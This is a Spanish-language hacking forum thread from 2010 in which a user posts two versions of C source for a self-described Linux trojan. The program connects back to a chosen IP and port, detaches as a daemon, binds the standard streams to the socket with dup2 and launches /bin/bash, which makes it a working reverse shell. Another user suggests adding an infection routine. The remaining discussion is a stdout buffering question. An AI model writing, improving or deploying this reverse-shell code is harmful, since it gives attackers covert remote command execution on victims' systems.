[C] Linux Trojan & dup2 ()

Iniciado por Garfield07, 18 Diciembre 2010, 15:55 PM

0 Miembros y 2 Visitantes están viendo este tema.

Garfield07

Terminado y corregido... El problema era que se me olvido cerrar los descriptores estandar...
Corrigiendo code...
Recuerdo que no esta terminado. Posteen mejoras, etc..

#include <time.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>



struct sockaddr_in host;

int sockfd;



int execsock (int socket, char program [])

{

close(0);

close(1);

close(2);



dup2(socket, 0);

dup2(socket, 1);

dup2(socket, 2);



execve(program, NULL, NULL);

return 0;

}



int main (int argc, char *argv [])

{

time_t now=time (0);

struct tm *ahora;

char hora [40];

ahora=localtime ((const time_t*)&now);

strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);

printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora);



if (argc == 3)

{

host.sin_addr.s_addr = inet_addr (argv [1]);

host.sin_port = htons (atoi (argv [2]));

host.sin_family = AF_INET;

memset (host.sin_zero, 0, 8);

}

else

{

host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!

host.sin_port = htons (31337);

host.sin_family = AF_INET;

memset (host.sin_zero, 0, 8);

}



printf ("Iniciando...\t");

sockfd = socket (2, 1, 0);

if (sockfd != -1)
{

printf ("[OK]\nConectando...\t\a");
}

else

{

printf ("[FAIL]\n\n");

return 1;

}


while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
sleep (1);

printf ("[OK]\nLanzando sell...\t[OK]");
daemon (1, 0);

execsock (sockfd, "/bin/bash");

close (sockfd);

return 0;

}



Ahora, el problema esta en que al compilar y correr, no me escribe correctamente lo que le digo: Atencion aqui:
printf ("[OK]\nConectando...\t\a");
Linea sencilla no? Pues no me postea lo de "Conectando" hasta que alguien no se conecta, o sea, la sigiente liena...


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

Chuckporris

No tengo mucha idea sobre esto,pero creo qe en linux es IMPOSIBLE CREAR UN TROYANO.
Pero bueno..suerte.

pucheto

Cita de: Chuckporris en 18 Diciembre 2010, 16:10 PM
No tengo mucha idea sobre esto,pero creo qe en linux es IMPOSIBLE CREAR UN TROYANO.
Pero bueno..suerte.
Equivocado, si se puede... el tema es q le tenes q dar permisos.

braulio--

Cita de: Chuckporris en 18 Diciembre 2010, 16:10 PM
No tengo mucha idea sobre esto,pero creo qe en linux es IMPOSIBLE CREAR UN TROYANO.
Pero bueno..suerte.

Para nada es imposible crear un troyano, de hecho yo hice hace tiempo uno.

Si quieres un consejo te recomiendo que si vas a hacer un gran troyano hagas un código mucho más ordenado que te permita añadirle nuevas features fácilmente. También te falta una rutina de infección que no es difícil de hacer en linux.

Suerte.

Garfield07

Viendo que se puede... Gracias por los consejos, ahora me pongo...
PD: Ahora modifico con el code...


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

braulio--

Se me olvidaba decirte ... el nombre lynx ya está cogido. Es un navegador por consola para linux.

Garfield07

#6
Finish! Bueno, no del todo, version 0.2 xD:
#include <time.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>



struct sockaddr_in host;

int sockfd;



int sell ()

{

close(0);

close(1);

close(2);



dup2(sockfd, 0);

dup2(sockfd, 1);

dup2(sockfd, 2);



execve("/bin/bash", NULL, NULL);

return 0;

}



int main (int argc, char *argv [])

{

time_t now=time (0);

struct tm *ahora;

char hora [40];

ahora=localtime ((const time_t*)&now);

strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);

printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora); //Esto escribira la presentacion.



if (argc == 3)

{

host.sin_addr.s_addr = inet_addr (argv [1]);

host.sin_port = htons (atoi (argv [2]));

host.sin_family = AF_INET;

memset (host.sin_zero, 0, 8);

}

else

{

host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!

host.sin_port = htons (31337);

host.sin_family = AF_INET;

memset (host.sin_zero, 0, 8);

}



printf ("Iniciando...\t");

sockfd = socket (2, 1, 0);

if (sockfd != -1)
{

printf ("[OK]\n");
}

else

{

printf ("[FAIL]\n\n");

return 1;

}



printf ("Conectando...\t");

while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
sleep (1);


printf ("[OK]\n");

daemon (1, 0);



printf ("Lanzando sell...\t");

if (sell ()==-1)

{

close (sockfd);

printf ("[FAIL]\n\n");

return 1;

}

printf ("[OK]\n");

close (sockfd);

return 0;

}



Ahora lo que falla es que "Conectando..." no se escribe hasta que no se conecta...Como lo puedo arreglar?

Me podrian ayudar


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo